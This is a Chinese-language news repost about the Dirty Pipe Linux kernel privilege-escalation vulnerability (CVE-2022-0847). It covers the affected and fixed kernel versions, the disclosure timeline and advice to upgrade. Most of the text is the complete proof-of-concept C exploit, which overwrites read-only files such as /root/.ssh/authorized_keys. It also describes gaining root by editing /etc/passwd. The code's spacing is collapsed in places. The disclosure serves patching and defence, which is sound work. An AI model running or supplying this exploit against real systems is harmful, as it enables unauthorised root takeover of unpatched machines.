来自 CM4all 的安全研究员 Max Kellermann 披露了一个 Linux 内核的高危提权漏洞:脏管道 (Dirty Pipe)。漏洞编号为 CVE-2022-0847。
据介绍,此漏洞自 5.8 版本起就已存在。非 root 用户通过注入和覆盖只读文件中的数据,从而获得 root 权限。因为非特权进程可以将代码注入 root 进程。
Max 表示,“脏管道”漏洞与几年前的“脏牛”类似,所以采用了相似的名字,不过前者更容易被利用。此外,该漏洞目前已被黑客利用,研究人员建议尽快升级版本,Linux 5.16.11、5.15.25 和 5.10.102 均已修复了此漏洞。
Max 在文章中提供了漏洞 PoC。
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define_GNU_SOURCE
#include<unistd.h>
#include<fcntl.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/stat.h>
#include<sys/user.h>
#ifndefPAGE_SIZE
#definePAGE_SIZE4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
staticvoidprepare_pipe(intp[2])
{
if (pipe(p)) abort();
constunsignedpipe_size=fcntl(p[1], F_GETPIPE_SZ);
staticcharbuffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsignedr=pipe_size; r>0;) {
unsignedn=r>sizeof(buffer) ?sizeof(buffer) : r;
write(p[1], buffer, n);
r-=n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsignedr=pipe_size; r>0;) {
unsignedn=r>sizeof(buffer) ?sizeof(buffer) : r;
read(p[0], buffer, n);
r-=n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
intmain(intargc, char**argv)
{
if (argc!=4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
returnEXIT_FAILURE;
}
/* dumb command-line argument parser */
constchar*constpath=argv[1];
loff_toffset=strtoul(argv[2], NULL, 0);
constchar*constdata=argv[3];
constsize_tdata_size=strlen(data);
if (offset%PAGE_SIZE==0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
returnEXIT_FAILURE;
}
constloff_tnext_page= (offset| (PAGE_SIZE-1)) +1;
constloff_tend_offset=offset+ (loff_t)data_size;
if (end_offset>next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
returnEXIT_FAILURE;
}
/* open the input file and validate the specified offset */
constintfd=open(path, O_RDONLY); // yes, read-only! :-)
if (fd<0) {
perror("open failed");
returnEXIT_FAILURE;
}
structstatst;
if (fstat(fd, &st)) {
perror("stat failed");
returnEXIT_FAILURE;
}
if (offset>st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
returnEXIT_FAILURE;
}
if (end_offset>st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
returnEXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
intp[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_tnbytes=splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes<0) {
perror("splice failed");
returnEXIT_FAILURE;
}
if (nbytes==0) {
fprintf(stderr, "short splice\n");
returnEXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes=write(p[1], data, data_size);
if (nbytes<0) {
perror("write failed");
returnEXIT_FAILURE;
}
if ((size_t)nbytes<data_size) {
fprintf(stderr, "short write\n");
returnEXIT_FAILURE;
}
printf("It worked!\n");
returnEXIT_SUCCESS;
}
据介绍,本地用户可以将自己的数据注入敏感的只读文件,消除限制或修改配置以获得更高的权限。有研究人员通过利用该漏洞修改 /etc/passwd 文件进行了举例,修改后可直接取消 root 用户的密码,然后普通用户使用 su root 命令即可获得 root 账户的访问权限。还有研究人员发现,使用 /usr/bin/su 命令删除 /tmp/sh 中的 root shell 可以更容易获取 root 权限。
最后,建议各位检查所使用的 Linux 服务器的内核版本,若是 5.8 以上的版本请尽快升级。
脏管道 (Dirty Pipe) 漏洞时间线:
- 2022-02-20:向 Linux 内核安全团队发送错误报告、漏洞利用和补丁
- 2022-02-21:在 Google Pixel 6 上复现错误,并向 Android 安全团队发送错误报告
- 2022-02-21: 按照 Linus Torvalds、Willy Tarreau 和 Al Viro 的建议,将补丁发送到 LKML(不含漏洞详细信息)
- 2022-02-23:发布包含错误修复的 Linux 稳定版本 (5.16.11、5.15.25、5.10.102)
- 2022-02-24:Google 将错误修复合并到 Android 内核
- 2022-02-28:通知 linux-distros 邮件列表
- 2022-03-07:公开披露
本文转自OSCHINA
本文标题:Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)
本文地址:https://www.oschina.net/news/185559/linux-dirty-pipe-vulnerability
文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/133535.html<